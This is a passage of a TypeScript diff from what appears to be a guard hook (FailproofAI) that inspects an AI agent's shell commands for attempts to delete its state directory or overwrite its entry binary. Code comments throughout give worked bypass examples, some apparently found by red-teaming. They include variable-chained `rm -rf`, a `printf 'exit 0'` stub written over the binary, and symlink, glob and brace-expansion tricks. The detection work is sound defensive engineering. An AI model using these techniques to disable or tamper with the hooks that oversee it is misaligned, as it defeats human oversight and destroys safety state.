MAX_SUBSTITUTION_BODIES; i++) { + const before = commandsBefore(command, bodies[i]); + if (destroysFailproofaiState(before === "" ? bodies[i] : `${before}; ${bodies[i]}`, 1, startDir, startUnknown)) return true; + bodies.push(...substitutionBodies(bodies[i])); + } + if (bodies.length > MAX_SUBSTITUTION_BODIES) return true; + } + + // Variables that hold the path. The scan used to ask only whether a value + // CONTAINED the path, which caught `D=~/.failproofai; rm -rf $D` and missed + // `A=~/.failproofai; B=$A; rm -rf $B` — the second hop names no path at all, + // only the first variable. So a value referencing a known state variable + // counts too. Repeating to a fixpoint costs four lines and makes the result + // independent of the order the assignments appear in, rather than resting on + // a shell evaluating them top to bottom. + const assignments = [ + ...command.matchAll(ASSIGNMENT_RE), + ].map(([, name, value]) => [name, value.replace(/^["']|["']$/g, "")] as const); + const stateVars = new Set(); + for (let pass = 0; pass < assignments.length + 1; pass++) { + const before = stateVars.size; + for (const [name, value] of assignments) { + const holdsState = + FAILPROOFAI_STATE_PATH_RE.test(value) || + [...value.matchAll(VAR_REFERENCE_RE)].some(([, ref]) => stateVars.has(ref)); + if (holdsState) stateVars.add(name); + } + if (stateVars.size === before) break; + } + + // Asked again and again for the same words (every check below, for the words + // as written and as expanded), so answered once per text. + const named = new Map(); + const globbed = new Map(); + const globNamesState = (token: string): boolean => { + let verdict = globbed.get(token); + if (verdict === undefined) globbed.set(token, (verdict = globCouldNameState(token))); + return verdict; + }; + const namesState = (text: string): boolean => { + let verdict = named.get(text); + if (verdict !== undefined) return verdict; + verdict = FAILPROOFAI_STATE_PATH_RE.test(text); + for (const [, name] of verdict ? [] : text.matchAll(VAR_REFERENCE_RE)) { + if (stateVars.has(name)) verdict = true; + } + // Per token, not over the whole text: a glob compiled from a whole command + // line matches nothing, and it is the individual operand — `~/.failproof*` + // — that would expand onto the state. + verdict ||= text.split(/\s+/).some((token) => globNamesState(unquotedToken(token))); + named.set(text, verdict); + return verdict; + }; + + let cwdInState = false; + // How deep in `( … )` the walk is, and how deep it was when the `cd` fired. + // A `cd` inside a subshell moves the subshell only, so the window closes when + // the parenthesis does: `(cd ~/.failproofai && cat x); rm -rf node_modules` + // was denying a cleanup in an entirely unrelated directory. + let parenDepth = 0; + let cdParenDepth: number | null = null; + + // Where the shell stands, when the walk can tell: the session's directory to + // begin with, then wherever each `cd`, `pushd` and `popd` moves it. A + // protected FILE sits in a directory nothing protects, so `cwdInState` never + // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai`, or + // the same `printf` in a session a previous call left there, names + // `node_modules/.bin/failproofai` only once `failproofai` is read from there + // (FailproofAI/agenteye#1795). + // + // `dir` is the directory's last `SHELL_DIR_SEGMENTS` segments, which is what + // words are read from: every pattern matches the end of a path, and an + // unbounded path made every later word slower to judge. `full` is the whole + // path, absolute when the session's directory is known and otherwise relative + // to wherever the line started (`.`); it is what a `..` that climbs above + // `dir` and a symlink are resolved from. Past `FULL_DIR_SEGMENTS` it is + // dropped and `deep` set. `lost` marks a `cd` the walk could not follow + // (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`): a relative word is then also + // judged as if it stood in an installed location (`AS_IF_INSTALLED`). + // `anywhere` marks a directory read from where the line started when the + // agent may have run it somewhere its hook does not report (Codex's + // `workdir`): a relative destination there may be npm's bin directory. + type Where = { dir: string | undefined; full: string | undefined; deep: boolean; lost: boolean; inState: boolean; anywhere?: boolean }; + const startFull = typeof startDir === "string" && startDir !== "" ? shellPath(undefined, startDir) || "." : "."; + let at: Where = { + dir: startFull === "." ? undefined : shellTail(startFull), + full: startFull, + deep: false, + lost: false, + inState: false, + anywhere: startUnknown, + }; + let previous: Where | null = null; + // `set -P` / `set -o physical`: every later `cd` is a `cd -P`. + let physicalMoves = false; + const dirStack: Where[] = []; + // Where the shell may stand instead. A `cd` can fail, and a command after + // `;`, a newline, `&` or `||` runs anyway, in the directory the shell never + // left: `cd /nonexistent; printf x > failproofai`. Only `&&` makes what + // follows wait for the `cd`. So the directories a move leaves are held in + // `pending` until the next separator, and become possible (`alts`) unless + // that separator is `&&`. + let alts: Where[] = []; + let pending: Where[] = []; + const scopes: Array<{ + depth: number; + at: Where; + previous: Where | null; + stack: Where[]; + alts: Where[]; + pending: Where[]; + physical: boolean; + }> = []; + const sameWhere = (x: Where, y: Where) => x.dir === y.dir && x.full === y.full && x.lost === y.lost; + // A directory the walk cannot name: where the shell may be once there are + // more possibilities than it tracks. + const UNKNOWN: Where = { dir: undefined, full: undefined, deep: false, lost: true, inState: false }; + // Each place once. Past the limit the oldest are not dropped, since the + // shell may still be in any of them: the newest few are kept and the rest + // read as a directory the walk lost. + const fold = (list: Where[], limit: number): Where[] => { + const kept: Where[] = []; + for (const where of list) if (!kept.some((other) => sameWhere(other, where))) kept.push(where); + if (kept.length <= limit) return kept; + return [...kept.filter((where) => !sameWhere(where, UNKNOWN)).slice(-(limit - 1)), UNKNOWN]; + }; + // Where else the shell may stand: not where it certainly is. + const possible = (list: Where[]): Where[] => fold(list.filter((where) => !sameWhere(where, at)), MAX_ALTERNATE_DIRS); + // Symlinks this line makes (`ln -s `), which no `lstat` sees + // yet: keyed by where the link really is, holding its target as written. + const links = new Map(); + // Where an absolute path really is, as the kernel resolves it: one component + // at a time from the root, each link (this line's or one on disk) replaced + // by its target where it is met, and each `..` taken from the directory + // reached so far. So `inline/../failproofai` through a link to + // `node_modules/.bin/sub` is `.bin/failproofai`, which collapsing `..` as + // text first read as `./failproofai` (found by hermes on + // FailproofAI/failproofai#1058). Past 40 links (the kernel's MAXSYMLINKS) + // the write fails, but where it was headed is unknown, so that is `ELOOP` + // and read as landing on the state. Through a link whose target is a + // substitution or a variable the walk cannot read, `{ via, lost }` is that + // target as written and what remains of the path after it. + const ELOOP = Symbol("ELOOP"); + type Lost = { via: string; lost: string }; + type RealPath = string | typeof ELOOP | Lost; + type Walk = { reached: string; hops: number } | typeof ELOOP | Lost; + // The kernel's walk from `reached` ("" is the root) with `hops` links + // already followed, over the components still `pending`. + const walkFrom = (reached: string, hops: number, pending: string[]): Walk => { + while (pending.length > 0) { + const part = pending.shift()!; + if (part === "" || part === ".") continue; + if (part === "..") { + reached = reached.slice(0, reached.lastIndexOf("/")); + continue; + } + const next = `${reached}/${part}`; + let target = links.get(next); + const made = target !== undefined; + if (!made) { + try { + if (lstatSync(next).isSymbolicLink()) target = readlinkSync(next); + } catch { + // Missing or unreadable: a plain name once created, so walk on. + } + } + if (target === undefined) { + reached = next; + continue; + } + if (made && /[$`]/.test(target)) return { via: target, lost: pending.filter((p) => p !== "").join("/") }; + if (++hops > 40) return ELOOP; + if (target.startsWith("/")) reached = ""; + pending.unshift(...target.split("/")); + } + return { reached, hops }; + }; + // Each directory is walked once: every word read from the same place shares + // it, and the option values glued into a long command line are many words. + const directoryWalks = new Map(); + const realPaths = new Map(); + const realPath = (raw: string): RealPath => { + // Longer than PATH_MAX, no write can open it, and walking it on disk one + // component at a time cost a second for a 128 KB word of `a/a/a/…`. + if (raw.length > PATH_MAX_BYTES) return shellPath(undefined, raw); + let real = realPaths.get(raw); + if (real !== undefined) return real; + const cut = raw.lastIndexOf("/"); + const name = raw.slice(cut + 1); + let walked: Walk; + if (cut > 0 && name !== "" && name !== "." && name !== "..") { + const directory = raw.slice(0, cut); + let parent = directoryWalks.get(directory); + if (parent === undefined) directoryWalks.set(directory, (parent = walkFrom("", 0, directory.split("/")))); + walked = + parent === ELOOP + ? ELOOP + : "reached" in parent + ? walkFrom(parent.reached, parent.hops, [name]) + : { via: parent.via, lost: parent.lost === "" ? name : `${parent.lost}/${name}` }; + } else { + walked = walkFrom("", 0, raw.split("/")); + } + real = walked === ELOOP || !("reached" in walked) ? walked : walked.reached || "/"; + realPaths.set(raw, real); + return real; + }; + + // A relative word read from `base`, and `//`, `.` and `..` resolved in any. + const fromBase = (base: Where, word: string): string => + relativeWord(word) && base.dir !== undefined + ? shellPath(base.dir, word) + : /\/\/|(?:^|\/)\.\.?(?:\/|$)/.test(word) + ? shellPath(undefined, word) || "." + : word; + const resolvesFrom = (base: Where, text: string): boolean => { + // An option is not a path to read from where the shell stands. + if (text.startsWith("-")) return false; + if (base.lost && relativeWord(text)) { + if (AS_IF_INSTALLED.some((dir) => namesState(dir + text))) return true; + // From a directory the walk cannot see, `bins/failproofai` may go + // through a link to npm's bin directory. + if (text.includes("/") && couldBeEntryName(text.slice(text.lastIndexOf("/") + 1))) return true; + } + // A `..` can climb above `dir`. Then it is read from the whole path, cut + // the same way, or when even that was too long to keep, as if from an + // installed location. + if (relativeWord(text) && text.includes("..") && !base.lost) { + const climbed = fromBase(base, text); + if (climbed.startsWith("..") || (base.dir !== undefined && !climbed.startsWith("/") && base.full?.startsWith("/"))) { + if (base.full !== undefined) { + const whole = shellPath(base.full === "." ? undefined : base.full, text); + if (FAILPROOFAI_STATE_PATH_RE.test(whole) || namesState(shellTail(whole))) return true; + } else if (base.deep && climbed.startsWith("..")) { + const rest = climbed.replace(/^(?:\.\.\/)+/, ""); + if (AS_IF_INSTALLED.some((dir) => namesState(dir + rest))) return true; + } + } + } + if (base.lost) return false; + // Every pattern spells `failproof`, so only a word or a directory that + // does, or a glob that could, can resolve onto one. A glob as written is + // already tried against every candidate that starts with a relative + // directory, so it is read from where the shell stands only when that is a + // directory a candidate continues from by one name (`node_modules/.bin` + // and `fail*`), or when it climbs out with `..`. + if (!/failproof/i.test(text) && !/failproof/i.test(base.dir ?? "")) { + if (!GLOB_METACHAR_RE.test(text)) return false; + const parent = (base.dir ?? "").slice((base.dir ?? "").lastIndexOf("/") + 1).toLowerCase(); + if (!GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; + } + const resolved = fromBase(base, text); + return resolved !== text && namesState(resolved); + }; + // Whether `text`, read from where the shell stands or may stand, names what + // `namesState` protects — asked apart from `namesState(text)` where the whole + // line has already been judged as written. + const resolvesOntoState = (text: string): boolean => + resolvesFrom(at, text) || alts.some((base) => resolvesFrom(base, text)); + // A written path as the absolute path it spells from `base`: `raw` as the + // kernel walks it, each `..` taken after any link before it, and `plain` as + // text. + const absoluteFrom = (base: Where, written: string): { raw: string; plain: string } | undefined => { + if (written === "" || written.startsWith("-") || written.includes("$") || GLOB_METACHAR_RE.test(written)) { + return undefined; + } + const raw = written.startsWith("/") + ? written + : written === "~" || written.startsWith("~/") + ? homedir() + written.slice(1) + : relativeWord(written) && !base.lost && base.full?.startsWith("/") + ? `${base.full}/${written}` + : undefined; + if (raw === undefined) return undefined; + return { raw, plain: shellPath(undefined, raw) }; + }; + // Where a written path really is, from each place the shell may stand: as + // the kernel resolves it, through links on disk and those this line makes. + const realPathsOf = (written: string): Array<{ plain: string; real: RealPath }> => { + const out: Array<{ plain: string; real: RealPath }> = []; + for (const base of [at, ...alts]) { + const path = absoluteFrom(base, written); + if (path !== undefined) out.push({ plain: path.plain, real: realPath(path.raw) }); + } + return out; + }; + // Through a link whose target the walk cannot read, the target as written + // and what remains after it, and that remainder alone the way a word is read + // once the walk has lost the shell's directory: as if from an installed + // location. `ln -s "$(npm root)/.bin" b; printf x > b/failproofai`. + const lostNamesState = ({ via, lost }: { via: string; lost: string }): boolean => + namesState(lost === "" ? via : `${via}/${lost}`) || + (lost !== "" && AS_IF_INSTALLED.some((dir) => namesState(dir + lost))) || + couldBeEntryName(lost.slice(lost.lastIndexOf("/") + 1)); + // Whether a written directory really is npm's bin directory, through links. + // Through one the walk cannot read, it is when the target ends in `.bin`, or + // is a substitution (`$(npm root)/.bin` arrives cut short as `$(npm`); a + // variable the line never sets is read as an unknown `cd` is, which is not + // taken for npm's bin (`ln -sfn "$RELEASE" current && cp -r config current/`). + const isBinDir = (written: string): boolean => + realPathsOf(written.replace(/[\\/]+$/, "") || written).some(({ real }) => { + if (real === ELOOP) return true; + if (typeof real === "string") return NPM_BIN_DIRECTORY_RE.test(real); + const reached = real.lost === "" ? real.via : `${real.via}/${real.lost}`; + return /(?:^|[\\/])\.bin[\\/]*$/i.test(reached) || (real.lost === "" && /\$\(|`/.test(real.via)); + }); + // Whether a path really lands on what `namesState` protects once symlinks + // are followed — those on disk, as the file tools already follow them, and + // those this line makes: `printf x > bins/failproofai` where `bins` links to + // `node_modules/.bin`. Only a link counts, so a backup that merely carries a + // protected name somewhere else (`/tmp/backup/.failproofai`) does not. + // Whether a path exists, as `lstat` finds it: a missing name, or one under a + // file (`ENOTDIR`), does not. + const exists = (path: string): boolean => { + try { + return lstatSync(path || "/", { throwIfNoEntry: false }) !== undefined; + } catch { + return false; + } + }; + // What a directory holds, read once. + const listings = new Map | null>(); + const listingOf = (directory: string): Set | null => { + let names = listings.get(directory); + if (names === undefined) { + try { + names = new Set(readdirSync(directory || "/")); + } catch { + names = null; + } + listings.set(directory, names); + } + return names; + }; + // The names of the links this line has made in `directory` ("" is the + // root), which no listing holds yet but the shell's glob will. + const inlineNamesIn = (directory: string): string[] => { + if (links.size === 0) return []; + const names: string[] = []; + for (const place of links.keys()) { + const cut = place.lastIndexOf("/"); + if (place.slice(0, cut) === directory) names.push(place.slice(cut + 1)); + } + return names; + }; + // A directory as a glob reads it: the directory it really is, through this + // line's links too, and the names in it, this line's links among them. + const namesInDirectory = (path: string): { directory: string; names: Iterable } => { + let directory = path; + if (links.size > 0 && path !== "") { + const real = realPath(path); + if (typeof real === "string") directory = real === "/" ? "" : real; + } + const listed = listingOf(directory); + const inline = inlineNamesIn(directory); + return { directory, names: inline.length === 0 ? (listed ?? []) : new Set([...(listed ?? []), ...inline]) }; + }; + // Whether `path` is there once this line's links are made: on disk, or + // through or as one of them. + const present = (path: string): boolean => { + if (exists(path)) return true; + if (links.size === 0) return false; + const cut = path.lastIndexOf("/"); + const parent = realPath(path.slice(0, cut) || "/"); + if (typeof parent !== "string") return true; + if (links.has(`${parent === "/" ? "" : parent}/${path.slice(cut + 1)}`)) return true; + const real = realPath(path); + return typeof real !== "string" || exists(real) || links.has(real); + }; + // A pattern as the shell expands it against the disk, from directory + // `from`: each component with a pattern matched against what the directory + // before it holds, a leading `.` only by a pattern that spells one (no + // `dotglob`), and the whole path required to exist. `null` past + // GLOB_DISK_LIMIT paths. + const expandOnDisk = (from: string, pattern: string): string[] | null => { + let paths = [from === "/" ? "" : from]; + let reads = 0; + let walked = 0; + for (const part of pattern.split("/")) { + if (part === "" || part === ".") continue; + if (part === ".." || !isGlobPart(part)) { + paths = paths.map((path) => `${path}/${part}`); + continue; + } + // zsh's `**/` (and bash's under globstar): this directory and every one + // below it, hidden ones under dotglob; `***/` follows links to them too. + if ((part === "**" || part === "***") && globOptions.globstar) { + const queue = [...paths]; + for (let i = 0; i < queue.length; i++) { + if (++walked > GLOB_RECURSIVE_DIR_LIMIT) return null; + for (const name of namesInDirectory(queue[i]).names) { + if (name.startsWith(".") && !globOptions.dotglob) continue; + const child = `${queue[i]}/${name}`; + try { + if ((part === "***" ? statSync(child) : lstatSync(child)).isDirectory()) queue.push(child); + } catch { + // Gone or unreadable: nothing below it. + } + } + } + paths = queue; + continue; + } + const matcher = globPartMatcher(part, globOptions); + if (matcher === null) return null; + const next: string[] = []; + for (const path of paths) { + // After a `**` the directories are the ones it walked, under its own limit. + if (++reads > (walked > 0 ? GLOB_RECURSIVE_DIR_LIMIT : GLOB_DISK_LIMIT / 4)) return null; + for (const name of namesInDirectory(path).names) { + if (name.startsWith(".") && !part.startsWith(".") && !globOptions.dotglob) continue; + if (!matcher.test(name)) continue; + next.push(`${path}/${name}`); + if (next.length > GLOB_DISK_LIMIT) return null; + } + } + if (next.length === 0) return []; + paths = next; + } + return paths.filter(present); + }; + // The links in `directory`, read once from disk, with this line's. + const diskLinks = new Map(); + const linkNamesIn = (directory: string): string[] => { + let names = diskLinks.get(directory); + if (names === undefined) { + names = []; + try { + for (const entry of readdirSync(directory || "/", { withFileTypes: true })) if (entry.isSymbolicLink()) names.push(entry.name); + } catch { + // Unreadable: nothing in it can be reached through it. + } + diskLinks.set(directory, names); + } + const inline = inlineNamesIn(directory); + return inline.length === 0 ? names : [...names, ...inline]; + }; + // The matches of a pattern in one directory that are links, the only ones + // that reach anywhere else, however many plain names match beside them: + // `tee many/*` wrote through `many/hook`, a link to the entry, past 4096 + // plain names (found by hermes on FailproofAI/failproofai#1058). `null` + // past GLOB_DISK_LIMIT links. + const linksMatching = (directory: string, part: string): string[] | null => { + // A bracket bash cannot read either (`[r-p]`) matches nothing. + const matcher = globPartMatcher(part, globOptions); + if (matcher === null) return []; + const found: string[] = []; + for (const name of linkNamesIn(directory)) { + if (name.startsWith(".") && !part.startsWith(".") && !globOptions.dotglob) continue; + if (!matcher.test(name)) continue; + found.push(`${directory}/${name}`); + if (found.length > GLOB_DISK_LIMIT) return null; + } + return found; + }; + // A glob expands where its literal directories really are: `cp x bins/fail*` + // with `bins` a link to `node_modules/.bin`, and `fail*` from a directory + // reached through one, both expand onto the entry. So the directories before + // the first pattern are resolved, and the pattern is read from there. A + // pattern in a directory component (`b*/failproofai`) is expanded on disk as + // the shell expands it and each path it reaches resolved, and each word a + // brace expands to is read the same way (found by hermes on + // FailproofAI/failproofai#1058). + const patternLandsOnState = (word: string): boolean => { + const parts = word.split("/"); + const first = parts.findIndex((part) => isGlobPart(part)); + if (first === -1) return false; + const prefix = first === 0 ? "" : parts.slice(0, first).join("/") || "/"; + const pattern = parts.slice(first).join("/"); + if (/[$`]/.test(prefix)) return false; + const inDirectory = parts.slice(first, -1).some((part) => isGlobPart(part)); + return [at, ...alts].some((base) => { + const raw = + prefix === "" + ? !base.lost && base.full?.startsWith("/") + ? base.full + : undefined + : absoluteFrom(base, prefix)?.raw; + if (raw === undefined) return false; + const real = realPath(raw); + if (real === ELOOP) return true; + if (typeof real !== "string") return lostNamesState({ via: real.via, lost: real.lost === "" ? pattern : `${real.lost}/${pattern}` }); + if (real !== shellPath(undefined, raw) && namesState(`${real === "/" ? "" : real}/${pattern}`)) return true; + // A pattern only in the last component matches names in one directory: + // what counts there is a match that is a link (`hoo*` reaching `hook`, a + // link to the entry). In npm's bin directory or a `node_modules`, its + // names are what the pattern is read against, so a sweep stays a sweep; + // what a sweep writes is judged by `sweepWritesEntry`. + if (!inDirectory && (NPM_BIN_DIRECTORY_RE.test(real) || /(?:^|\/)(?:node_modules|\.pnpm)$/i.test(real))) return false; + const matches = inDirectory ? expandOnDisk(real, pattern) : linksMatching(real === "/" ? "" : real, pattern); + if (matches === null) return true; + return matches.some((match) => { + const reached = realPath(match); + if (reached === ELOOP) return true; + if (typeof reached !== "string") return lostNamesState(reached); + return (inDirectory || reached !== shellPath(undefined, match)) && namesState(reached); + }); + }); + }; + // Every word a brace expands to is read: a literal one as the path it is, + // which costs a lookup, and one that is still a pattern on disk, of which + // at most MAX_BRACE_WORDS_ON_DISK are expanded. Past that the rest are + // refused rather than dropped: `tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},hook}` + // wrote through `hook` as its 65th word (found by hermes on + // FailproofAI/failproofai#1058). + const globLandsOnState = (written: string): boolean => { + let patterns = 0; + for (const word of expandBraces(written)) { + if (!isGlobPart(word)) { + if (word !== written && landsOnState(word)) return true; + continue; + } + if (++patterns > MAX_BRACE_WORDS_ON_DISK) return true; + if (patternLandsOnState(word)) return true; + } + return false; + }; + const landsOnState = (written: string): boolean => + realPathsOf(written).some(({ plain, real }) => + real === ELOOP ? true : typeof real !== "string" ? lostNamesState(real) : real !== plain && namesState(real), + ) || + (isGlobPart(written) && globLandsOnState(written)); + const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // A glob that sweeps npm's bin directory reaches every name in it, which is + // harmless for a delete (`rm -rf node_modules/.bin/*` stays allowed) and + // the entry for a write: `tee bins/* < stub` with `bins` a link to + // `node_modules/.bin` overwrote it (found by hermes on + // FailproofAI/failproofai#1058). So a written word whose last component is + // a pattern, in a bin directory, lands on the entry when the pattern matches + // the entry there, or a link there that reaches the entry or the state. + const sweepWritesEntry = (written: string): boolean => { + if (!GLOB_METACHAR_RE.test(written)) return false; + let patterns = 0; + for (const word of expandBraces(written)) { + const cut = word.replace(/[\\/]+$/, "").lastIndexOf("/"); + const pattern = word.slice(cut + 1); + const directory = cut === -1 ? "." : word.slice(0, cut) || "/"; + if (!GLOB_METACHAR_RE.test(pattern) || GLOB_METACHAR_RE.test(directory) || /[$`]/.test(word)) continue; + if (++patterns > MAX_BRACE_WORDS_ON_DISK) return true; + const matcher = globTest(pattern); + if (matcher === null) continue; + for (const base of [at, ...alts]) { + const path = absoluteFrom(base, directory); + if (path === undefined) continue; + const real = realPath(path.raw); + if (typeof real !== "string" || !NPM_BIN_DIRECTORY_RE.test(real)) continue; + const dir = real === "/" ? "" : real; + if (NPX_ENTRY_NAMES.some((name) => matcher.test(name) && present(`${dir}/${name}`))) return true; + for (const name of linkNamesIn(dir)) { + if ((name.startsWith(".") && !pattern.startsWith(".")) || !matcher.test(name)) continue; + const reached = realPath(`${dir}/${name}`); + if (reached === ELOOP) return true; + if (typeof reached !== "string") { + if (lostNamesState(reached)) return true; + } else if (NPX_ENTRY_PATH_RE.test(reached) || FAILPROOFAI_STATE_PATH_RE.test(reached)) return true; + } + } + } + return false; + }; + // From a directory the agent may have run the line in without saying so + // (`anywhere`), a relative destination that would be the entry, or the + // package, wherever that directory is: `printf … > failproofai`, and through + // any directory on the way, since one there may be a link into a bin + // directory or a `node_modules` that no lstat can see from here + // (`bins/failproofai`, `deps/failproofai/dist/cli.mjs`; found by hermes on + // FailproofAI/failproofai#1058). + const anywhereHere = (): boolean => at.anywhere === true || alts.some((base) => base.anywhere === true); + const plantsAnywhere = (written: string): boolean => { + if (!relativeWord(written) || /[$`]/.test(written)) return false; + const parts = written.replace(/[\\/]+$/, "").split(/[\\/]+/); + if (couldBeEntryName(parts[parts.length - 1])) return true; + // The package is read from each component that could start it, a few at most. + let tried = 0; + for (let i = 0; i < parts.length && tried < 16; i++) { + if (!/^(?:failproof|\.pnpm$|@failproofai$)/i.test(parts[i])) continue; + tried++; + const rest = parts.slice(i).join("/"); + if (AS_IF_INSTALLED.some((dir) => FAILPROOFAI_CODE_PATH_RE.test(dir + rest))) return true; + } + return false; + }; + // What a simple command writes that its options or operands name, read from + // such a directory: an output flag's value, separate or glued (`curl -o`, + // `wget -O`, `gcc -o`, `--output=`), every operand of a command that writes + // them all (`tee`), the last of one that writes its second (`uniq`), and + // `dd of=`. Copies, moves, links and downloads are judged where they land. + const writesEntryAnywhere = (list: string[]): boolean => { + if (list.length === 0) return false; + const head = commandBasename(list[0]); + const args = list.slice(1); + const operands = args.filter((arg) => !arg.startsWith("-")); + if (OPERAND_WRITE_COMMANDS.has(head) && operands.some(plantsAnywhere)) return true; + if (SECOND_OPERAND_WRITERS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; + // A copy's destination into the package (`deps/failproofai/dist/cli.mjs`); + // where its sources land by name is judged with the other landings. + if (COPY_COMMANDS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; + if (head === "dd" && args.some((arg) => arg.startsWith("of=") && plantsAnywhere(arg.slice(3)))) return true; + if (head === "sed" && sedWriteTargets(sedScriptArgs(args)).some(plantsAnywhere)) return true; + const known = SHORT_VALUE_OPTIONS[head]; + const outputLetters = SHORT_OUTPUT_OPTIONS[head]; + return args.some((arg, i) => { + const long = /^--(?:output|out)[\w-]*(=)?/.exec(arg); + if (long) return plantsAnywhere(long[1] ? arg.slice(arg.indexOf("=") + 1) : (args[i + 1] ?? "")); + // The other files curl writes (`--stderr`, `--dump-header`, …), by any + // prefix of the name curl before 8 takes. + if (arg.startsWith("--") && OUTPUT_FLAG_COMMANDS[head] !== undefined) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name !== "" && !EXACT_NON_OUTPUT_OPTIONS.has(`${head} --${name}`) && OUTPUT_FLAG_COMMANDS[head].some((flag) => flag.startsWith(`--${name}`))) { + return plantsAnywhere(eq === -1 ? (args[i + 1] ?? "") : arg.slice(eq + 1)); + } + } + if (!/^-[A-Za-z]/.test(arg)) return false; + // Where the command's value letters are known, the cluster is read as + // getopt reads it: flags up to the first letter that takes a value, and + // that value, glued on or the next word, a file written only when the + // letter is an output's. curl's `-O` takes none, so `cd out && curl -sO + // http://host/failproofai/my-tool` names no file; where it lands is + // judged with the other downloads (found by hermes on + // FailproofAI/failproofai#1058). + if (known !== undefined) { + for (let c = 1; c < arg.length; c++) { + if (!known.includes(arg[c])) continue; + return outputLetters.includes(arg[c]) && plantsAnywhere(c + 1 < arg.length ? arg.slice(c + 1) : (args[i + 1] ?? "")); + } + return false; + } + if (/^-[A-Za-z]*[oO]$/.test(arg)) return plantsAnywhere(args[i + 1] ?? ""); + // Glued on after an `o` or `O`. + for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { + if (c > MAX_OPTION_CLUSTER) return /failproof/i.test(arg); + if ((arg[c] === "o" || arg[c] === "O") && plantsAnywhere(arg.slice(c + 1))) return true; + } + return false; + }); + }; + // `namesHere` for a value glued to an option, of which a long command line + // has one per letter of its option words. Every protected name spells + // `failproof`, so a value that spells none, climbs nowhere and expands to + // nothing can only reach one through a link: one this line made, or one on + // disk under a first component that exists, which each directory's listing, + // read once, answers. + const existsIn = (directory: string, name: string): boolean => { + const names = listingOf(directory); + return names === null ? exists(`${directory}/${name}`) : names.has(name); + }; + const gluedValueNamesHere = (value: string): boolean => { + if (/failproof|\.\.|[$~]|[*?[{]|[@+!]\(/i.test(value) || links.size > 0 || value.startsWith("/")) { + return namesHere(value); + } + const relative = value.replace(/^(?:\.\/+)+/, ""); + const first = relative.slice(0, (relative.indexOf("/") + 1 || relative.length + 1) - 1); + return ( + first !== "" && + [at, ...alts].some((base) => !base.lost && base.full?.startsWith("/") === true && existsIn(base.full, first)) && + landsOnState(value) + ); + }; + // What the line has assigned by the point the walk reaches, so a word built + // from it is judged as the path it spells: `B=~/node_modules/.bin; ln -s + // /tmp/stage $B`. In a loop a later assignment can come first, so there the + // last one is known from the start. `$PWD` and `~+` are where the shell + // stands, `~-` where it stood, `$HOME` is `~` unless the line sets it. A + // variable the line never sets stays a reference, and a `cd` into one is a + // `cd` the walk cannot follow. Every word is judged as written as well, so an + // assignment the shell never makes (`: D=x`) cannot hide one. + const values = new Map(LOOP_HEADER_RE.test(command) ? assignments : []); + // A variable's value where the shell stands at `here`: `$PWD` is that + // directory, `$HOME` is `~` unless the line sets it. + const valueAt = (name: string, here: Where): string | undefined => + name === "PWD" && here.dir !== undefined && !here.lost ? here.dir : (values.get(name) ?? (name === "HOME" ? "~" : undefined)); + const expandAt = (word: string, here: Where): string => { + let out = word; + if (out.startsWith("~+") && here.dir !== undefined && !here.lost) out = here.dir + out.slice(2); + else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); + if (!out.includes("$")) return out; + // Each operator as bash applies it (`${D%/}` is `D` without its trailing + // `/`), and a variable read in a value read too. + const results = expandParameters(out, (name) => { + const value = valueAt(name, here); + return value === undefined ? [] : [value]; + }, 64); + out = results?.[0] ?? word; + // A value that refers to itself grows with every pass. + return out.length > 4096 ? word : out; + }; + const expand = (word: string): string => expandAt(word, at); + // Every value the line gives each variable. One set only in a subshell or + // only for one command (`(F=x)`, `F=x true`) does not replace the value + // before it, so a word is also read with each other value its variables are + // given (found by hermes on FailproofAI/failproofai#1058). + // Outside a loop only what the line has assigned by the point the walk + // reaches counts, as with `values`; in one, every assignment may come first. + const everyValue = new Map(); + let reassigned = false; + const variantsByWord = new Map(); + const assigned = (name: string, value: string) => { + const seen = everyValue.get(name) ?? []; + if (seen.includes(value)) return; + seen.push(value); + everyValue.set(name, seen); + if (seen.length > 1) reassigned = true; + variantsByWord.clear(); + }; + if (LOOP_HEADER_RE.test(command)) for (const [name, value] of assignments) assigned(name, value); + // Every value is tried, so decoys in front of or after the one that counts + // cannot push it out of reach; past VARIANT_BUDGET tries the line is refused + // as one the walk could not read. + let variantBudget = VARIANT_BUDGET; + // Every combination of the values of the reassigned variables a word names, + // one value per variable as the shell uses it: `A=fail; B=proofai; (A=x; + // B=y); printf x > node_modules/.bin/$A$B` writes `failproofai`, which + // swapping one variable at a time never spelled (found by hermes on + // FailproofAI/failproofai#1058). + // A `${name:-word}` default, `${!name}` and the other operators give a word + // other values too, so those are read even when nothing is reassigned: + // `cp stub ${X:-bins}/failproofai` writes through `bins` when `X` is unset. + const variantsOf = (word: string): string[] => { + if (!word.includes("$") || (!reassigned && !OPERATED_REFERENCE_RE.test(word))) return []; + const known = variantsByWord.get(word); + if (known !== undefined) return known; + const results = expandParameters( + word, + (name) => { + const every = everyValue.get(name); + if (every !== undefined && every.length > 0 && !(name === "PWD" && at.dir !== undefined && !at.lost)) return every; + const value = valueAt(name, at); + return value === undefined ? [] : [value]; + }, + Math.max(variantBudget, 1), + ); + if (results === null) throw new Error("a variable is reassigned too many times to follow"); + if (results.length > 1) variantBudget -= results.length; + if (variantBudget < 0) throw new Error("a variable is reassigned too many times to follow"); + const current = expand(word); + const found = results.filter((variant) => variant !== current && variant.length <= 4096); + variantsByWord.set(word, found); + return found; + }; + // `$PWD` and `~+` name wherever the shell stands, which after a move that + // may have failed is any of the places it may be. + const NAMES_PWD_RE = /\$\{?PWD\b|^~\+/; + const expandEverywhere = (word: string): string[] => + NAMES_PWD_RE.test(word) ? alts.map((alt) => expandAt(word, alt)) : []; + // Gives `name` the values in `found`, keeping each it held before as one + // it may still hold; with none, a value the walk cannot know. + const setVariable = (name: string, found: readonly string[]) => { + if (values.has(name)) assigned(name, values.get(name)!); + if (found.length === 0) { + values.delete(name); + variantsByWord.clear(); + return; + } + for (const value of found) assigned(name, 